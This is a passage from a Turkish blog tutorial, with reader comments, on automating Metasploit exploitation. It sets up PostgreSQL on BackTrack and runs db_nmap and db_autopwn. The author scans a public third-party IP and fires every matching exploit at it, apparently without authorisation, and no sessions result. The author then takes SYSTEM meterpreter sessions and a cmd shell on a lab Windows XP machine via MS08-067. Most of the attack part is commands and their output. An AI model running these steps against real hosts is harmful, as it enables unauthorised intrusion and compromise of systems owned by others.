denenir. Bir sistem üzerinde onlarca port açık olduğunu ve her port için onlarca exploit ve totalde 100'lerce exploit denenmesi gerektiğini düşünürsek bunları manuel gerçekleştirmek oldukça büyük zaman kaybı olacaktır.Bu durumda db_autopwn kullanımı oldukça yararlı olacaktır.Burada db_autopwn için postgresql database yazılımının nasıl kullanılabileceğine değinmek istedim.Yine yazıda db_nmap özelliği ile uzak IP adresleri nmap aracılığı ile metasploit içerisinde port scan işlemine tabi tutularak bulunan bulgular oluşturulan postgresql database'inde tutulmuş ve daha sonra buradaki veri db_autopwn tarafından kullanılarak olası tüm exploitler otomatize denenmiştir.
Sistemimiz yeni kurulduğu için biz öncelikle apt-get aracımızı update ile başlayacağız:
root@bt:~# apt-get update
Hit http://all.repository.backtrack-linux.org revolution Release.gpg
Hit http://source.repository.backtrack-linux.org revolution Release.gpg
Hit http://32.repository.backtrack-linux.org revolution Release.gpg
Ign http://all.repository.backtrack-linux.org/ revolution/main Translation-en_US
Ign http://32.repository.backtrack-linux.org/ revolution/main Translation-en_US
Ign http://source.repository.backtrack-linux.org/ revolution/main Translation-en_US
Synaptic Package Manager aracı tanımlı repositorylerden görsel olarak uygulama kurma ve kaldırma için kullanılan bir uygulamadır.Bizim sistemimizde kurulu olmadığı için aşağıdaki komutla kuruyoruz.Uygulama kurulum için SPM yerine komut satırını da kullanabilirsiniz.
root@bt:~# apt-get install synaptic
Reading package lists... Done
Building dependency tree
Reading state information... Done
Synaptic package Manager kurulduktan sonra aşağıdaki gibi postgresql ve ilişkili tüm diger yazılımları işaretleyip apply diyerek sistemimize kuruyoruz.


Sistemimize postgresql kurduktan sonra bu servisi aşağıdaki komut ile başlatıyoruz.
root@bt:~# /etc/init.d/postgresql-8.4 start
* Starting PostgreSQL 8.4 database server [ OK ]
Postgres kullanıcısı için şifre belirlemek için psql aracını kullanıyoruz.Psql, postgresql database'ne etkileşim kuran bir yazılım.Postgres kullanıcısının parolasını celal olarak belirledim.
root@bt:~# su postgres
sh-4.1$ psql
could not change directory to "/root"
psql (8.4.8)
Type "help" for help.
postgres=# \password
Enter new password:
Enter it again:
postgres=# \q
could not save history to file "/home/postgres/.psql_history": No such file or directory
sh-4.1$ exit
exit
Şimdi metasploit uygulamsını çalıştıralım:
root@bt:~# /usr/local/bin/msfconsole
msf >
msf >
Kullanacağımız database olarak postgresql seçelim:
msf > db_driver postgresql
[*] Using database driver postgresql
msf >
Şimdi postgresql database'mize önce bağlantı sağlamak için kullanıcı:parola bilgisini(postgres:celal) ve ardından oluşturulacak database ismini aşağıdaki gibi belirtiyoruz.Görüldüğü gibi belirttiğimiz db name için ilgili tüm tablolar create ediliyor.
msf > db_connect postgres:celal@127.0.0.1/testdb
NOTICE: CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
NOTICE: CREATE TABLE will create implicit sequence "clients_id_seq" for serial column "clients.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "clients_pkey" for table "clients"
NOTICE: CREATE TABLE will create implicit sequence "services_id_seq" for serial column "services.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "services_pkey" for table "services"
NOTICE: CREATE TABLE will create implicit sequence "vulns_id_seq" for serial column "vulns.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "vulns_pkey" for table "vulns"
NOTICE: CREATE TABLE will create implicit sequence "refs_id_seq" for serial column "refs.id"
….
….
….
NOTICE: CREATE TABLE will create implicit sequence "listeners_id_seq" for serial column "listeners.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "listeners_pkey" for table "listeners"
NOTICE: CREATE TABLE will create implicit sequence "nexpose_consoles_id_seq" for serial column "nexpose_consoles.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "nexpose_consoles_pkey" for table "nexpose_consoles"
NOTICE: CREATE TABLE will create implicit sequence "profiles_id_seq" for serial column "profiles.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "profiles_pkey" for table "profiles"
msf >
Db_nmap özelliği ile metasploit içerisinde nmap kullanarak uzak bir sisteme port taraması yapalım ve bunu database yazdırıp daha sonra açıklarını db_autopwn ile exploit edelim.
msf > db_nmap 66.7.205.168 -PN
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-02-17 17:35 EET
[*] Nmap: Nmap scan report for solid.nseasy.com (66.7.205.168)
[*] Nmap: Host is up (0.19s latency).
[*] Nmap: Not shown: 983 filtered ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 20/tcp closed ftp-data
[*] Nmap: 21/tcp open ftp
[*] Nmap: 22/tcp closed ssh
[*] Nmap: 25/tcp open smtp
[*] Nmap: 26/tcp open rsftp
[*] Nmap: 53/tcp open domain
[*] Nmap: 80/tcp open http
[*] Nmap: 110/tcp open pop3
[*] Nmap: 143/tcp open imap
[*] Nmap: 443/tcp open https
[*] Nmap: 465/tcp open smtps
[*] Nmap: 587/tcp closed submission
[*] Nmap: 993/tcp open imaps
[*] Nmap: 995/tcp open pop3s
[*] Nmap: 1097/tcp open sunclustermgr
[*] Nmap: 3306/tcp open mysql
[*] Nmap: 5666/tcp open nrpe
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 9.01 seconds
msf > db_autopwn -p -t -e -I 66.7.205.168
[*] Analysis completed in 7 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] 66.7.205.168:21 exploit/freebsd/ftp/proftp_telnet_iac (port match)
[*] 66.7.205.168:21 exploit/linux/ftp/proftp_sreplace (port match)
[*] 66.7.205.168:21 exploit/linux/ftp/proftp_telnet_iac (port match)
[*] 66.7.205.168:21 exploit/multi/ftp/wuftpd_site_exec_format (port match)
[*] 66.7.205.168:21 exploit/osx/ftp/webstar_ftp_user (port match)
[*] 66.7.205.168:21 exploit/unix/ftp/proftpd_133c_backdoor (port match)
[*] 66.7.205.168:21 exploit/unix/ftp/vsftpd_234_backdoor (port match)
[*] 66.7.205.168:21 exploit/windows/ftp/3cdaemon_ftp_user (port match)
[*] 66.7.205.168:21 exploit/windows/ftp/cesarftp_mkd (port match)
[*] 66.7.205.168:21 exploit/windows/ftp/dreamftp_format (port match)
[*] 66.7.205.168:21 exploit/windows/ftp/easyfilesharing_pass (port match)
….
….
….
[*] (327/327 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] (327/327 [0 sessions]): Waiting on 0 launched modules to finish execution...
[*] The autopwn command has completed with 0 sessions
msf >
Herhangi bir oturum elde edemedik.Açık portlar üzerinde oturum açma ihtimali olan tüm exploitler denendi.Fakat oturum açılmadı.Buda bize sistemde session alabileceğimiz ve uzaktan kod çalıştırabileceğimiz bir güvenlik açığı olmadığını göstermektedir. Portun açık olması her zaman session alabiliriz anlamına gelmez.Çünkü burada asıl güvenlik zaafiyetini içeren uzak sistemin işletim sistemidir.
Şimdi Local Labratuvarımdaki üzerinde XP SP3 olan sistemin portlarını tarayıp ilişkili portlara uygun exploitleri otomatize bir şekilde autopwn ile denetelim.
msf > db_nmap 192.168.56.102 -PN -sV
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-02-17 23:42 EET
[*] Nmap: Nmap scan report for 192.168.56.102
[*] Nmap: Host is up (0.0015s latency).
[*] Nmap: Not shown: 997 closed ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 135/tcp open msrpc
[*] Nmap: 139/tcp open netbios-ssn
[*] Nmap: 445/tcp open microsoft-ds
[*] Nmap: MAC Address: 08:00:27:6E:79:49 (Cadmus Computer Systems)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.47 seconds
Görüldüğü gibi TCP 135,139 ve 445 portları sistem üzerinde açık.Şimdi autopwn çalıştıralım.
msf > db_autopwn -e -p -t -I 192.168.56.102
[*] Analysis completed in 7 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] 192.168.56.102:135 exploit/windows/dcerpc/ms03_026_dcom (port match)
[*] 192.168.56.102:139 exploit/freebsd/samba/trans2open (port match)
[*] 192.168.56.102:139 exploit/linux/samba/chain_reply (port match)
[*] 192.168.56.102:139 exploit/linux/samba/lsa_transnames_heap (port match)
[*] 192.168.56.102:139 exploit/linux/samba/trans2open (port match)
[*] 192.168.56.102:139 exploit/multi/samba/nttrans (port match)
[*] 192.168.56.102:139 exploit/multi/samba/usermap_script (port match)
[*] 192.168.56.102:139 exploit/netware/smb/lsass_cifs (port match)
[*] 192.168.56.102:139 exploit/osx/samba/lsa_transnames_heap (port match)
[*] 192.168.56.102:139 exploit/solaris/samba/trans2open (port match)
[*] 192.168.56.102:139 exploit/windows/brightstor/ca_arcserve_342 (port match)
…
…
…
[*] 192.168.56.102:445 exploit/freebsd/samba/trans2open (port match)
[*] 192.168.56.102:445 exploit/linux/samba/chain_reply (port match)
[*] 192.168.56.102:445 exploit/linux/samba/lsa_transnames_heap (port match)
[*] 192.168.56.102:445 exploit/linux/samba/trans2open (port match)
[*] 192.168.56.102:445 exploit/multi/samba/nttrans (port match)
[*] 192.168.56.102:445 exploit/multi/samba/usermap_script (port match)
[*] 192.168.56.102:445 exploit/netware/smb/lsass_cifs (port match)
[*] 192.168.56.102:445 exploit/osx/samba/lsa_transnames_heap (port match)
[*] 192.168.56.102:445 exploit/solaris/samba/trans2open (port match)
[*] 192.168.56.102:445 exploit/windows/brightstor/ca_arcserve_342 (port match)
…
…
…
[*] (51/51 [2 sessions]): Waiting on 3 launched modules to finish execution...
[*] (51/51 [2 sessions]): Waiting on 0 launched modules to finish execution...
[*] The autopwn command has completed with 2 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================
Active sessions
===============
Id Type Information Connection Via
-- ---- ----------- ---------- ---
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ KURBANPC45 192.168.56.103:52084 -> 192.168.56.102:23492 exploit/windows/smb/ms08_067_netapi
2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ KURBANPC45 192.168.56.103:54547 -> 192.168.56.102:7259 exploit/windows/smb/ms08_067_netapi
[*] ================================================================================
msf >
Evet görüldüğü gibi sunucu üzerinde ms08_067_netapi exploiti kullanılarak 2 adet session açılmış durumda .
MS08_067_netapı zaafiyeti özetle; windows sistemlerin üzerinde bulunan netapi32.dll isimli DLL dosyasındaki bir fonksiyonun kod zayıflığından faydalanılarak bellek taşırma işlemi ile uzaktan kimlik doğrulamaya gerek duyulmadan kod çalıştırmaya izin veren bir zaafiyettir.Açıklığı exploit edebilmek için uzak sistemin TCP 445 ve 139 portlarının açık olması gerekli.Bu zaafiyet ile ilgili update için http://technet.microsoft.com/en-us/security/bulletin/ms08-067 adresini ziyaret edebilirsiniz.
Şimdi Id değeri 1 olan oturum ile sunucuya erip birkaç atraksiyon yapalım :)
msf > sessions -i 1
[*] Starting interaction with 1...
Ipconfig komutu ile uzak sistemin IP adresine bakalım:
meterpreter > ipconfig /all
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
AMD PCNET Ailesi PCI Ethernet Bağdaştırıcısı - Paket Zamanlayıcısı Mini Bağlantı Noktası
Hardware MAC: 08:00:27:6e:79:49
IP Address : 192.168.56.102
Netmask : 255.255.255.0
meterpreter >
Sysinfo komutu ile sistem bilgilerine bir göz atalım:
meterpreter > sysinfo
Computer : KURBANPC45
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : tr_TR
Meterpreter : x86/win32
Şimdi de ele geçirdiğimiz cihazın shell'ini alalım ve makalemizi burada bitirelim:
meterpreter > execute -f cmd.exe -i -H
Process 1672 created.
Channel 1 created.
Microsoft Windows XP [Sürüm 5.1.2600]
(C) Telif Hakkı 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Aynı işlemi shell komutunu vererekte yapabiliriz:
meterpreter > shell
Process 1956 created.
Channel 2 created.
Microsoft Windows XP [Sürüm 5.1.2600]
(C) Telif Hakkı 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Meterpreter oturumunda daha detaylı neler yapılabileceğini merak ediyorsanız Metasploit Meterpreter Uygulamaları isimli makaleye göz atabilirsiniz.
anlatım çok güzel ama ben linux mint kullanıcısıyım bir türlü backtrack tools menüsünü yukleyemiyorum bd adreslerinde bir sorun var internetteki linklerin hepsinde de backtrack 'ı işletim sistemi olarak kullanmak istemiyorum sanal sistemde kullanmak istemiyorum sadece mint'e modifiye etmek istiyorm yokmu bir yolu bunun ?
YanıtlaSilMint sistemde;
YanıtlaSil/etc/apt/sources.list içine şunu yapıştırıp,
# Backtrack
deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing
Daha sonra apt-get update ile güncellersen(verilen hataya aldırma) ve daha sonra synaptic açıp sol tarafta bt ile başlayan menüler altında tool isimlerini görüp kurabilirsin..kurduğun toollar /pentest diye bir dizin içinde görebilirsin.
Kolaylıklar
Konuyla ilgili bir ufak yazı hazırladım umarım faydalı olur. http://www.networkpentest.net/2012/03/backtrack-toollarn-ubuntu-uzerine-kurma.html
YanıtlaSilElinize Kolunuza :) sağlık; çok faydalı oldu
YanıtlaSilMerhaba Ellerine sağlık.
YanıtlaSilBir şey soracağım. Herkes bir yerlerden okuyarak çevirerek ya da kullanarak bunu anlatıp duruyor.
Zaten kayıtlı olan payloadlar var. ama bunların artık geçerliliği yok.
Örneğin bu linkte yeni çıkan exploiti kullanılabilir hale nasıl getirilir baştan sona yazarsanız helal olsun diyeceğim.
Saygılarımla
Fatih
http://www.exploit-db.com/exploits/24017/
Merhaba Ellerine sağlık.
YanıtlaSilBir şey soracağım. Herkes bir yerlerden okuyarak çevirerek ya da kullanarak bunu anlatıp duruyor.
Zaten kayıtlı olan payloadlar var. ama bunların artık geçerliliği yok.
Örneğin bu linkte yeni çıkan exploiti kullanılabilir hale nasıl getirilir baştan sona yazarsanız helal olsun diyeceğim.
Saygılarımla
Fatih
http://www.exploit-db.com/exploits/24017/
Merhaba Ellerine sağlık.
YanıtlaSilBir şey soracağım. Herkes bir yerlerden okuyarak çevirerek ya da kullanarak bunu anlatıp duruyor.
Zaten kayıtlı olan payloadlar var. ama bunların artık geçerliliği yok.
Örneğin bu linkte yeni çıkan exploiti kullanılabilir hale nasıl getirilir baştan sona yazarsanız helal olsun diyeceğim.
Saygılarımla
Fatih
http://www.exploit-db.com/exploits/24017/
Merhaba Fatih,
YanıtlaSilExploit-db de yayınlanan exploitleri metasploite uyarlaman için rubby ile modül geliştirmeye bakman gerekecek..
bu makale yardımcı olacaktır sanıyorum..
http://www.offensive-security.com/metasploit-unleashed/Porting_Exploits
meraba fatih bey ben bilgisayarımdan postgresql kurulumunu bilgisayarımdan kaldıramıyorum bilgisayarımdan tamamen silmek için napmam gerekiyo?
YanıtlaSilYeniden kurmak ve sonra tekrar kaldırmak gerekebilir.
YanıtlaSilYa da servisini disable durumuna getirebilirseniz kaynak kullanmayı bırakır. Startup'ta varsa birşeyler onları da silebilirsiniz.
Bu işlemeler için Msconfig programcığını kullanabilirsiniz. Başkatçalıştıra yazın bunu.